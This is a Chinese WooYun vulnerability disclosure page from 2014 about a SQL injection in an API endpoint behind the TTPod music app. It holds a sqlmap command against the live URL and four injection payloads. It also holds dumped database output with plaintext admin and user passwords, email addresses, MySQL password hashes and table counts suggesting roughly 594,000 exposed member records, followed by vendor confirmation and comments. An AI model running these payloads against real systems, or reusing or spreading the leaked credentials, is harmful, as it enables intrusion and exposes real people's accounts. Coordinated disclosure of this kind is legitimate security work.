当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-065996

漏洞标题：天天动听APP客户端存在SQL注入漏洞可导致近60W会员信息泄露可脱裤

相关厂商：ttpod.com

漏洞作者： 秋风

提交时间：2014-06-24 00:11

修复时间：2014-08-08 00:12

公开时间：2014-08-08 00:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-24： 细节已通知厂商并且等待厂商处理中
2014-06-25： 厂商已经确认，细节仅向厂商公开
2014-07-05： 细节向核心白帽子及相关领域专家公开
2014-07-15： 细节向普通白帽子公开
2014-07-25： 细节向实习白帽子公开
2014-08-08： 细节向公众公开

简要描述：

root权限啊。。。尼玛，我没脱，你们信麽？-。-

详细说明：

发现来源安卓客户端天天动听最新版

注入点:http://api.busdh.com/market-api/appgame/global?f=f384&v=v6.5.0.2013123016


GET参数f存在注入
通知存在注入点，未做进一步测试！

sqlmap.py -u 'http://api.busdh.com/market-api/appgame/global?f=f384&v=v6.5.0.2013123016' -p "f" --batch
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: f
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: f=f384' RLIKE (SELECT (CASE WHEN (5571=5571) THEN 0x66333834 ELSE 0x28 END)) AND 'snjQ'='snjQ&v=v6.5.0.2013123016
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (UPDATEXML)
    Payload: f=f384' AND UPDATEXML(3360,CONCAT(0x2e,0x716e6b6171,(SELECT (CASE WHEN (3360=3360) THEN 1 ELSE 0 END)),0x716e616d71),6423) AND 'tnpf'='tnpf&v=v6.5.0.2013123016
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: f=f384' UNION ALL SELECT CONCAT(0x716e6b6171,0x4e506c54656853686e61,0x716e616d71)#&v=v6.5.0.2013123016
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 OR time-based blind
    Payload: f=-8917' OR 5490=SLEEP(5) AND 'FWhc'='FWhc&v=v6.5.0.2013123016
---
back-end DBMS: MySQL 5.1
available databases [22]:                                                                                                                                                                     
[*] db_12530
[*] db_atj
[*] db_ayyc
[*] db_browsernav
[*] db_ddfg
[*] db_draw_busdh_com
[*] db_ios_skin
[*] db_market
[*] db_new_ttpod
[*] db_skin
[*] db_ttpod_discuz
[*] db_ttpod_ucenter
[*] db_update
[*] draw_busdh_com
[*] earphone
[*] entnews
[*] information_schema
[*] mysql
[*] performance_schema
[*] skin
[*] ttpod
[*] yuledb
http://draw.busdh.com/
Database: db_draw_busdh_com
Table: userinfo
[15 entries]
+-------------+--------------------+----------+---------------------+--------------+
| id          | email              | userName | createTime          | userPassword |
+-------------+--------------------+----------+---------------------+--------------+
| 00000000426 | jiege82000@163.com | admin    | 2013-10-31 14:02:11 | admin        |
| 00000000427 | hr@ttpod.com       | ttpod    | 2013-10-31 14:06:33 | ttpod*()98   |
| 00000000428 | hr@ttpod.com       | view     | 2013-10-31 15:11:39 | view         |
+-------------+--------------------+----------+---------------------+--------------+
http://fm.admin.ttpod.com/
http://admin.lrc.ttpod.com/auth/login
Database: ttpod
Table: admin
[10 entries]
+----+-------+------+----------------------------------+---------------------+
| id | name  | flag | password                         | create_time         |
+----+-------+------+----------------------------------+---------------------+
| 1  | ttpod | 0    | 5bb50d44821fffd63299af3025234087 | 2012-01-18 00:00:00 |
| 20 | baidu | 0    | dbf2074a06e4d98e7a291a38270af7b9 | 2013-01-31 08:39:39 |
+----+-------+------+----------------------------------+---------------------+
Database: db_new_ttpod
Table: users
[30 entries]
+----+----------------+---------------+----------------------------------------------------------------------------------------------+
| id | email          | username      | password                                                                                     |
+----+----------------+---------------+----------------------------------------------------------------------------------------------+
| 1  | clong@test.com | clong         | 1100                                                                                         |
| 2  | user1@test.com | user1         | $shiro1$SHA-256$500000$Cz8CvbpUrpgkk+k8puy3iA==$VRXptpQeeCwzYDTq+ZEr8rrTFFUIIan/Xk5jwHXFRYg= |
| 3  | admin@test.com | admin         | jianguo*()98                                                                                 |
| 4  | user2@test.com | user2         | $shiro1$SHA-256$500000$l48hH1mNJTZC35z6YPyj0w==$FyrwtiltMAdv7bwghfmGzqReJFliYcocbgiZkSaavMU= |
| 5  | <blank>        | tcode_manager | ttpodt1n50                                                                                   |
| 6  | <blank>        | tcode_user    | ttpod123                                                                                     |
+----+----------------+---------------+----------------------------------------------------------------------------------------------+
database management system users [10]:                                                                                                                                                        
[*] 'db_bbs'@'10.0.2.%'
[*] 'db_browsernav'@'%'
[*] 'db_skin'@'%'
[*] 'db_skin'@'10.0.2.%'
[*] 'draw_busdh_com'@'10.0.2.%'
[*] 'earphone'@'%'
[*] 'link'@'%'
[*] 'root'@'localhost'
[*] 'slave'@'%'
[*] 'webis'@'%'
database management system users password hashes:
[*] db_bbs [1]:
    password hash: *730A86BC4C3F693A6862F939E48BEBB75D786189
[*] db_browsernav [1]:
    password hash: *01D060A476642BA8335B832AC5B211F222F641B5
[*] earphone [1]:
    password hash: *01D060A476642BA8335B832AC5B211F222F641B5
[*] link [1]:
    password hash: *01D060A476642BA8335B832AC5B211F222F641B5
[*] root [1]:
    password hash: *01D060A476642BA8335B832AC5B211F222F641B5
[*] webis [1]:
    password hash: *01D060A476642BA8335B832AC5B211F222F641B5
	
Database: db_ttpod_ucenter                                                                                                                                                                    
+---------------------+---------+
| Table               | Entries |
+---------------------+---------+
| uc_members          | 594367  |
| uc_memberfields     | 594365  |
| uc_newpm            | 421201  |
| uc_pms              | 4622    |
| uc_friends          | 4276    |
| uc_pm_members       | 2400    |
| uc_pm_indexes       | 2059    |
| uc_pm_lists         | 1237    |
| uc_notelist         | 516     |
| uc_pm_messages_2    | 223     |
| uc_pm_messages_3    | 221     |
| uc_pm_messages_8    | 221     |
| uc_pm_messages_7    | 216     |
| uc_pm_messages_9    | 208     |
| uc_pm_messages_5    | 200     |
| uc_pm_messages_1    | 199     |
| uc_pm_messages_0    | 198     |
| uc_pm_messages_6    | 188     |
| uc_pm_messages_4    | 185     |
| uc_settings         | 28      |
| uc_vars             | 3       |
| uc_admins           | 1       |
| uc_applications     | 1       |
| uc_failedlogins     | 1       |
| uc_protectedmembers | 1       |
+---------------------+---------+
[00:46:28] [INFO] the SQL query used returns 404 entries
Database: db_ttpod_discuz                                                                                                                                                                     
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| pre_forum_post                        | 847629  |
| cdb_posts                             | 727193  |
| pre_common_member_log                 | 501857  |
| cdb_members                           | 501856  |
| cdb_memberfields                      | 501844  |
| pre_common_member_count_archive       | 467197  |
| pre_common_member_field_forum_archive | 467197  |
| pre_common_member_profile_archive     | 467197  |
| pre_common_member_status_archive      | 467197  |
| pre_common_member_field_home_archive  | 467196  |
| pre_common_member_archive             | 467189  |
| pre_common_onlinetime                 | 294138  |
| pre_home_notification                 | 208959  |
| cdb_onlinetime                        | 204705  |
| pre_common_credit_rule_log            | 166058  |
| pre_forum_attachment                  | 165258  |
| pre_forum_thread                      | 153779  |
| cdb_attachments                       | 124347  |
| pre_common_member                     | 110564  |
| pre_common_member_status              | 110563  |
| pre_common_member_count               | 110562  |
| pre_common_member_field_forum         | 110561  |
| pre_common_member_field_home          | 110561  |
| pre_common_member_profile             | 110561  |
| pre_forum_threadaddviews              | 105521  |
| pre_common_credit_log                 | 98319   |
| cdb_threads                           | 90232   |
| pre_security_evilpost                 | 86098   |
| cdb_spacecaches                       | 85234   |
| pre_common_member_newprompt           | 72957   |
| pre_plugin_user_defender_badpwd       | 66821   |
| pre_forum_threadmod                   | 60158   |
| pre_forum_ratelog                     | 59086   |
| cdb_ratelog                           | 57426   |
| pre_forum_threadpartake               | 51160   |
| cdb_attachpaymentlog                  | 45503   |
| pre_common_district                   | 45052   |
| pre_forum_statlog                     | 37616   |
| pre_forum_pollvoter                   | 32688   |
| cdb_memberspaces                      | 30319   |
| pre_forum_filter_post                 | 23690   |
| pre_common_connect_guest              | 22800   |
| cdb_threadsmod                        | 21460   |
| pre_connect_memberbindlog             | 21201   |
| pre_common_member_connect             | 19835   |
| pre_common_admincp_cmenu              | 18913   |
| cdb_admincustom                       | 18903   |
| pre_forum_attachment_2                | 17757   |
| pre_forum_attachment_3                | 17259   |
| pre_forum_attachment_6                | 16682   |
| pre_forum_attachment_1                | 16646   |
| pre_forum_attachment_9                | 16357   |
| pre_forum_attachment_0                | 16104   |
| pre_forum_attachment_4                | 15775   |
| pre_forum_attachment_7                | 15662   |
| pre_forum_attachment_5                | 15462   |
| pre_forum_attachment_8                | 15196   |
| pre_home_friend_request               | 13045   |
| pre_forum_modwork                     | 10522   |
| pre_connect_feedlog                   | 10034   |
| pre_security_eviluser                 | 9110    |
| pre_home_favorite                     | 8838    |
| cdb_myposts                           | 8810    |
| pre_forum_attachment_exif             | 8667    |
| pre_forum_sofa                        | 8462    |
| cdb_favorites                         | 8394    |
| pre_discuz_security_banip             | 8126    |
| pre_forum_thread_censor               | 8106    |
| cdb_pms                               | 7829    |
| pre_common_word                       | 7497    |
| pre_forum_postcache                   | 7136    |
| cdb_modworks                          | 5622    |
| pre_connect_postfeedlog               | 5457    |
| cdb_mythreads                         | 4832    |
| pre_connect_tthreadlog                | 4735    |
| pre_common_remote_port                | 4272    |
| pre_common_member_crime               | 4201    |
| pre_forum_threadimage                 | 2599    |
| pre_common_magiclog                   | 2588    |
| cdb_magiclog                          | 2369    |
| pre_forum_medallog                    | 2369    |
| cdb_medallog                          | 2120    |
| pre_common_credit_rule_log_field      | 2004    |
| pre_common_member_grouppm             | 1599    |
| pre_forum_attachment_unused           | 1449    |
| pre_common_credit_log_field           | 1438    |
| cdb_paymentlog                        | 1425    |
| pre_forum_polloption                  | 1273    |
| cdb_polloptions                       | 1136    |
| pre_common_tagitem                    | 1116    |
| pre_common_member_medal               | 1095    |
| pre_forum_postcomment                 | 1091    |
| pre_forum_newthread                   | 927     |
| pre_forum_threaddisablepos            | 884     |
| pre_home_pic                          | 826     |
| pre_common_failedip                   | 825     |
| pre_home_friend                       | 762     |
| pre_common_member_action_log          | 747     |
| pre_common_stat                       | 698     |
| pre_plugin_banklog                    | 678     |
| cdb_rsscaches                         | 638     |
| pre_forum_threadclass                 | 552     |
| pre_forum_post_tableid                | 513     |
| pre_common_smiley                     | 501     |
| cdb_smilies                           | 472     |
| pre_common_setting                    | 465     |
| cdb_buddys                            | 462     |
| cdb_regips                            | 452     |
| pre_home_friendlog                    | 389     |
| cdb_stylevars                         | 360     |
| pre_discuz_security_manager_action    | 357     |
| pre_forum_warning                     | 338     |
| pre_common_session                    | 336     |
| pre_discuz_security_forum             | 327     |
| pre_common_statuser                   | 306     |
| pre_common_tag                        | 301     |
| cdb_warnings                          | 281     |
| pre_common_block_item                 | 254     |
| pre_home_comment                      | 250     |
| cdb_settings                          | 238     |
| pre_common_syscache                   | 229     |
| pre_forum_threadhot                   | 216     |
| pre_forum_poll                        | 190     |
| pre_home_pokearchive                  | 188     |
| cdb_words                             | 187     |
| pre_common_regip                      | 176     |
| cdb_polls                             | 169     |
| pre_home_feed                         | 167     |
| pre_forum_post_location               | 161     |
| pre_forum_threadcalendar              | 158     |
| pre_plugin_bankoperation              | 155     |
| cdb_banned                            | 141     |
| pre_home_poke                         | 137     |
| pre_common_stylevar                   | 135     |
| cdb_statvars                          | 130     |
| pre_common_member_magic               | 125     |
| pre_forum_rsscache                    | 115     |
| pre_common_block_pic                  | 108     |
| pre_baidusubmit_sitemap               | 106     |
| pre_plugin_user_defender_stat         | 105     |
| pre_common_block_style                | 103     |
| cdb_membermagics                      | 102     |
| pre_home_follow                       | 98      |
| pre_home_visitor                      | 94      |
| pre_forum_hotreply_member             | 93      |
| cdb_moderators                        | 90      |
| pre_common_searchindex                | 90      |
| pre_forum_hotreply_number             | 90      |
| pre_forum_moderator                   | 83      |
| pre_common_admincp_perm               | 77      |
| cdb_threadtypes                       | 73      |
| pre_common_report                     | 72      |
| pre_forum_forum                       | 69      |
| pre_forum_forumfield                  | 69      |
| cdb_medals                            | 67      |
| pre_forum_medal                       | 67      |
| pre_forum_spacecache                  | 67      |
| cdb_forumlinks                        | 65      |
| cdb_typeoptions                       | 65      |
| pre_forum_typeoption                  | 65      |
| pre_common_pluginvar                  | 61      |
| pre_common_nav                        | 59      |
| cdb_forumfields                       | 58      |
| cdb_forums                            | 58      |
| pre_common_devicetoken                | 54      |
| cdb_rewardlog                         | 52      |
| cdb_reportlog                         | 51      |
| pre_common_member_profile_setting     | 51      |
| cdb_stats                             | 50      |
| pre_pig_member                        | 50      |
| pre_common_block                      | 49      |
| pre_common_cache                      | 49      |
| cdb_caches                            | 42      |
| cdb_subscriptions                     | 41      |
| pre_forum_attachtype                  | 41      |
| pre_common_member_verify              | 39      |
| pre_common_member_secwhite            | 38      |
| pre_common_optimizer                  | 36      |
| pre_common_template_block             | 35      |
| pre_common_usergroup_field            | 35      |
| cdb_attachtypes                       | 34      |
| cdb_faqs                              | 34      |
| cdb_usergroups                        | 33      |
| pre_forum_thread_moderate             | 33      |
| pre_home_album                        | 33      |
| pre_common_credit_rule                | 32      |
| cdb_promotions                        | 31      |
| pre_common_usergroup                  | 31      |
| pre_home_blog                         | 27      |
| pre_home_blogfield                    | 27      |
| pre_common_magic                      | 25      |
| pre_common_friendlink                 | 22      |
| pre_common_plugin                     | 22      |
| cdb_threadtags                        | 21      |
| pre_common_cron                       | 20      |
| cdb_tags                              | 19      |
| pre_common_banned                     | 18      |
| pre_plugin_user_defender              | 18      |
| cdb_failedlogins                      | 17      |
| cdb_searchindex                       | 15      |
| pre_forum_poststick                   | 15      |
| pre_home_click                        | 15      |
| cdb_crons                             | 13      |
| pre_common_grouppm                    | 13      |
| pre_common_myapp                      | 13      |
| cdb_magics                            | 12      |
| cdb_projects                          | 12      |
| pre_common_failedlogin                | 12      |
| pre_forum_bbcode                      | 11      |
| pre_home_doing                        | 11      |
| pre_common_admincp_member             | 10      |
| pre_security_member                   | 10      |
| cdb_bbcodes                           | 9       |
| cdb_ranks                             | 9       |
| cdb_styles                            | 9       |
| pre_baidusubmit_setting               | 9       |
| pre_common_secquestion                | 9       |
| pre_baidusubmit_urlstat               | 8       |
| pre_forum_polloption_image            | 8       |
| pre_forum_post_moderate               | 8       |
| cdb_templates                         | 7       |
| cdb_magicmarket                       | 6       |
| cdb_request                           | 6       |
| pre_common_diy_data                   | 6       |
| pre_forum_onlinelist                  | 6       |
| pre_home_show                         | 6       |
| cdb_announcements                     | 5       |
| pre_common_admincp_group              | 5       |
| pre_common_admingroup                 | 5       |
| pre_common_advertisement              | 5       |
| pre_common_member_verify_info         | 5       |
| cdb_admingroups                       | 4       |
| cdb_creditslog                        | 4       |
| cdb_imagetypes                        | 4       |
| cdb_onlinelist                        | 4       |
| cdb_typemodels                        | 4       |
| pre_common_process                    | 4       |
| pre_discuz_security_adminlog          | 4       |
| pre_forum_access                      | 4       |
| pre_forum_imagetype                   | 4       |
| pre_forum_threadclosed                | 4       |
| pre_plugin_user_defender_failedlogin  | 4       |
| pre_common_word_type                  | 3       |
| pre_forum_grouplevel                  | 3       |
| pre_forum_replycredit                 | 3       |
| pre_home_class                        | 3       |
| cdb_access                            | 2       |
| cdb_advertisements                    | 2       |
| pre_common_admincp_session            | 2       |
| pre_common_patch                      | 2       |
| pre_common_style                      | 2       |
| pre_common_template                   | 2       |
| pre_forum_promotion                   | 2       |
| pre_mobile_setting                    | 2       |
| pre_plugin_banklist                   | 2       |
| pre_tools_rule                        | 2       |
| pre_yy_killreg                        | 2       |
| cdb_adminactions                      | 1       |
| cdb_adminsessions                     | 1       |
| cdb_itempool                          | 1       |
| cdb_pmsearchindex                     | 1       |
| cdb_profilefields                     | 1       |
| pre_common_addon                      | 1       |
| pre_common_uin_black                  | 1       |
| pre_forum_announcement                | 1       |
| pre_forum_threadprofile               | 1       |
| pre_forum_trade                       | 1       |
| pre_hdx_player_activity               | 1       |
| pre_home_picfield                     | 1       |
| pre_home_share                        | 1       |
+---------------------------------------+---------+
Database: ttpod
Table: admin
[10 entries]
+----+-------+------+----------------------------------+---------------------+
| id | name  | flag | password                         | create_time         |
+----+-------+------+----------------------------------+---------------------+
| 1  | ttpod | 0    | 5bb50d44821fffd63299af3025234087 | 2012-01-18 00:00:00 |
| 20 | baidu | 0    | dbf2074a06e4d98e7a291a38270af7b9 | 2013-01-31 08:39:39 |
+----+-------+------+----------------------------------+---------------------+
Database: db_new_ttpod
Table: users
[30 entries]
+----+----------------+---------------+----------------------------------------------------------------------------------------------+
| id | email          | username      | password                                                                                     |
+----+----------------+---------------+----------------------------------------------------------------------------------------------+
| 1  | clong@test.com | clong         | 1100                                                                                         |
| 2  | user1@test.com | user1         | $shiro1$SHA-256$500000$Cz8CvbpUrpgkk+k8puy3iA==$VRXptpQeeCwzYDTq+ZEr8rrTFFUIIan/Xk5jwHXFRYg= |
| 3  | admin@test.com | admin         | jianguo*()98                                                                                 |
| 4  | user2@test.com | user2         | $shiro1$SHA-256$500000$l48hH1mNJTZC35z6YPyj0w==$FyrwtiltMAdv7bwghfmGzqReJFliYcocbgiZkSaavMU= |
| 5  | <blank>        | tcode_manager | ttpodt1n50                                                                                   |
| 6  | <blank>        | tcode_user    | ttpod123                                                                                     |
+----+----------------+---------------+----------------------------------------------------------------------------------------------+

漏洞证明：

ttpod.png

修复方案：

有效过滤。
上边贴出的一些隐私信息和相关密码，建议更改下！

版权声明：转载请注明来源 秋风@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-06-25 10:01

厂商回复：

谢谢

最新状态：

暂无

漏洞评价：

评论

  1. 2014-06-24 02:42 | 记得 ( 路人 | Rank:8 漏洞数:3 | 人 生 若 只 如 初 見)

    @秋风我记得我X过他们后台不过技术好像不管 我联系过

  2. 2014-06-24 09:26 | 天天动听(乌云厂商)

    管

  3. 2014-06-24 09:36 | 浪仔 ( 路人 | Rank:0 漏洞数:1 | 追求技术 永无止境)

    @记得 哈哈 看 技术不乐意了吧。。你这么说 他是要被炒鱿鱼的节奏

  4. 2014-06-24 16:45 | 小人物Reno ( 普通白帽子 | Rank:471 漏洞数:110 | X)

    @天天动听 管

  5. 2014-08-08 00:16 | Wdog ( 路人 | Rank:7 漏洞数:3 | 网上一个你,网上一个我，网上你的温柔我就...)

    貌似这技术爱管不管的样子呢！

  6. 2014-08-08 10:58 | 帅克笛枫 ( 普通白帽子 | Rank:207 漏洞数:46 | 键盘只为不平而起落，鼠标亦会点到为止！)

    又送耳机了？？